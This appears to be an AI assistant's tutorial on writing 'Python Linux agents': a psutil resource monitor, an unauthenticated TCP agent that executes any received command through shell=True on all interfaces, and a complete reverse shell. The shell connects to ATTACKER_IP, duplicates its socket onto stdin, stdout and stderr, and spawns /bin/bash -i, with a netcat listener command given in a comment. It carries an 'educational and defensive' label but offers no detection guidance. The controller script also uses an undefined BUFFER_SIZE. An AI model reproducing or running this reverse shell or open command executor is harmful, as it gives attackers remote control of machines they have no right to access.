Of course! The term "Python Linux Agent" can mean a few different things depending on the context. Let's break it down into the most common scenarios, from simple scripts to full-fledged, production-grade agents.

Here are the primary interpretations:
- A Simple Monitoring/Scripting Agent: A Python script that runs on a Linux machine, periodically checks something (e.g., CPU usage, disk space), and reports the results.
- A Full-Fledged Management Agent: A more complex, robust agent that can receive commands from a central server, execute them, and report back status and data. This is the model used by tools like SaltStack, Ansible, or Datadog.
- A Reverse Shell/Backdoor Agent: A malicious agent that connects to an attacker-controlled server, allowing remote control of the machine. (We'll cover this for educational and defensive purposes only).
Scenario 1: Simple Monitoring Agent
This is the most straightforward interpretation. We'll create a Python script that uses the psutil library to monitor system resources.
Key Features:
- Runs in a continuous loop.
- Checks CPU usage and available disk space.
- Prints the status to the console.
- Can be easily extended to send data to a logging file or a remote API.
Step 1: Install psutil
psutil is a cross-platform library for retrieving information on system processes and utilization. It's perfect for this task.
pip install psutil
Step 2: Create the Agent Script (simple_agent.py)
import psutil
import time
import logging
# --- Configuration ---
CHECK_INTERVAL_SECONDS = 5 # Check every 5 seconds
CPU_THRESHOLD = 80.0 # Alert if CPU is over 80%
DISK_THRESHOLD = 10.0 # Alert if disk space is below 10%
# --- Setup Logging ---
# Log to a file and the console
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler("agent.log"),
logging.StreamHandler()
]
)
def check_system_resources():
"""Checks CPU and disk usage and logs warnings if thresholds are exceeded."""
# --- CPU Check ---
cpu_percent = psutil.cpu_percent(interval=1)
if cpu_percent > CPU_THRESHOLD:
logging.warning(f"High CPU Usage: {cpu_percent}%")
else:
logging.info(f"CPU Usage is normal: {cpu_percent}%")
# --- Disk Check ---
# We'll check the root partition ('/')
disk_usage = psutil.disk_usage('/')
free_space_percent = (disk_usage.free / disk_usage.total) * 100
if free_space_percent < DISK_THRESHOLD:
logging.warning(
f"Low Disk Space on /: {disk_usage.free / (1024**3):.2f} GB free "
f"({free_space_percent:.2f}% used)"
)
else:
logging.info(
f"Disk Space on / is normal: {disk_usage.free / (1024**3):.2f} GB free "
f"({free_space_percent:.2f}% used)"
)
def main():
"""Main loop for the agent."""
logging.info("Starting Simple Linux Agent...")
try:
while True:
check_system_resources()
time.sleep(CHECK_INTERVAL_SECONDS)
except KeyboardInterrupt:
logging.info("Agent stopped by user.")
if __name__ == "__main__":
main()
Step 3: Run the Agent
python3 simple_agent.py
You will see output in your console and a file named agent.log being created in the same directory.

Scenario 2: Full-Fledged Management Agent
This agent is more complex. It will listen for commands from a central server and execute them. We'll use a simple TCP socket for communication, but in a real-world scenario, you'd use a more robust protocol like HTTP/HTTPS or a message queue (e.g., RabbitMQ, Kafka).
Key Features:
- Runs as a background service (daemon).
- Listens for network connections.
- Receives commands (e.g., "run_script.sh", "get_status").
- Executes commands safely.
- Returns the output or status to the server.
Step 1: Create the Agent Script (management_agent.py)
import socket
import subprocess
import json
import logging
# --- Configuration ---
HOST = '0.0.0.0' # Listen on all available interfaces
PORT = 9999
BUFFER_SIZE = 4096
# --- Setup Logging ---
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[logging.FileHandler("management_agent.log")]
)
def execute_command(command_data):
"""Safish-ly executes a command and returns its output."""
try:
# In a real agent, you would heavily sanitize this command
# to prevent command injection.
# For this example, we assume the command is trusted.
logging.info(f"Executing command: {command_data['command']}")
# Using shell=True can be dangerous. Be very careful with input.
# A safer approach is to parse the command into a list of args.
process = subprocess.Popen(
command_data['command'],
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True
)
stdout, stderr = process.communicate()
result = {
"status": "success" if process.returncode == 0 else "error",
"return_code": process.returncode,
"stdout": stdout,
"stderr": stderr
}
return result
except Exception as e:
logging.error(f"Error executing command: {e}")
return {"status": "error", "error": str(e)}
def main():
"""Main function for the agent to listen for commands."""
logging.info(f"Management Agent starting on {HOST}:{PORT}")
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
try:
server_socket.bind((HOST, PORT))
server_socket.listen(1)
logging.info("Agent is listening for connections...")
while True:
conn, addr = server_socket.accept()
logging.info(f"Connection established from {addr}")
try:
# Receive data from the server
data = conn.recv(BUFFER_SIZE).decode('utf-8')
if not data:
break
command_data = json.loads(data)
logging.info(f"Received command: {command_data}")
# Execute the command
result = execute_command(command_data)
# Send the result back
conn.sendall(json.dumps(result).encode('utf-8'))
logging.info(f"Sent result to {addr}")
except json.JSONDecodeError:
logging.error("Received invalid JSON data.")
error_response = {"status": "error", "error": "Invalid JSON format"}
conn.sendall(json.dumps(error_response).encode('utf-8'))
except Exception as e:
logging.error(f"An error occurred during connection handling: {e}")
finally:
conn.close()
logging.info(f"Connection with {addr} closed.")
except KeyboardInterrupt:
logging.info("Agent shutting down...")
except Exception as e:
logging.error(f"Server error: {e}")
finally:
server_socket.close()
if __name__ == "__main__":
main()
Step 2: Run the Agent
To run this as a proper background service on Linux, you'd use systemd or supervisor. For now, you can run it in the background:
nohup python3 management_agent.py > agent_output.log 2>&1 &
This command runs the script in the background (nohup), detaching it from your terminal. All output is redirected to agent_output.log.
Step 3: Create a Simple Controller (to send commands)
You need another script to act as the "server" or "controller" that sends commands to your agent.
# controller.py
import socket
import json
HOST = '127.0.0.1' # The agent's IP
PORT = 9999
def send_command(command_to_run):
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
client_socket.connect((HOST, PORT))
# Prepare the command data
command_data = {"command": command_to_run}
message = json.dumps(command_data)
# Send the command
client_socket.sendall(message.encode('utf-8'))
# Receive the result
response = client_socket.recv(BUFFER_SIZE).decode('utf-8')
result = json.loads(response)
print("Agent Response:")
print(json.dumps(result, indent=2))
except ConnectionRefusedError:
print(f"Connection refused. Is the agent running on {HOST}:{PORT}?")
except Exception as e:
print(f"An error occurred: {e}")
finally:
client_socket.close()
if __name__ == "__main__":
# Example commands
send_command("echo 'Hello from agent!'")
send_command("df -h")
send_command("ls -l /nonexistent") # This will cause an error
Run the controller:
python3 controller.py
Scenario 3: Reverse Shell (Educational & Defensive)
WARNING: This is for educational purposes only. Creating and deploying reverse shells without authorization is illegal and unethical. This information is to help you understand how they work so you can detect and defend against them.
A reverse shell is a type of shell in which the target machine initiates the connection back to the attacker's machine, which listens for incoming connections.
Key Features:
- The agent connects to a specific IP and port.
- It spawns a shell that sends all input/output over the network connection.
The Agent Script (reverse_shell.py)
import socket
import subprocess
import os
# --- Attacker's Machine Configuration ---
# The attacker needs to run 'nc -l -p 4444' on their machine to listen.
ATTACKER_IP = 'ATTACKER_IP_ADDRESS' # <-- CHANGE THIS
ATTACKER_PORT = 4444
def reverse_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ATTACKER_IP, ATTACKER_PORT))
# Redirect stdin, stdout, stderr to the socket
os.dup2(s.fileno(), 0) # stdin
os.dup2(s.fileno(), 1) # stdout
os.dup2(s.fileno(), 2) # stderr
# Spawn a shell
subprocess.call(['/bin/bash', '-i'])
except Exception as e:
# Handle connection errors, etc.
pass
finally:
s.close()
if __name__ == "__main__":
reverse_shell()
Production Considerations for a Real Agent
If you were to build a real agent (like for Ansible or Datadog), you would need to address several points:
- Packaging: Don't just run a
.pyfile. Package it usingsetuptoolsinto a proper installable package. - Daemonization: Use
systemdto manage the agent as a service. This handles starting on boot, restarting on failure, logging tojournald, and running as a non-root user. - Security:
- Authentication: Use TLS/SSL for all network communication. Implement mutual TLS (mTLS) for server-to-agent authentication.
- Command Execution: NEVER use
shell=Truewith untrusted input. Parse commands into a list of arguments. Implement a strict whitelist of allowed commands. - Principle of Least Privilege: Run the agent as a dedicated, unprivileged user with no
sudorights.
- Configuration Management: Use a configuration file (e.g., YAML, INI) for settings like server IP, port, and thresholds, instead of hardcoding them.
- Data Serialization: Use standard, secure formats like JSON or MessagePack for data exchange.
- Reliability: Implement a heartbeat mechanism. If the agent loses connection to the server, it should keep retrying to reconnect. It should also queue local data if the connection is down.
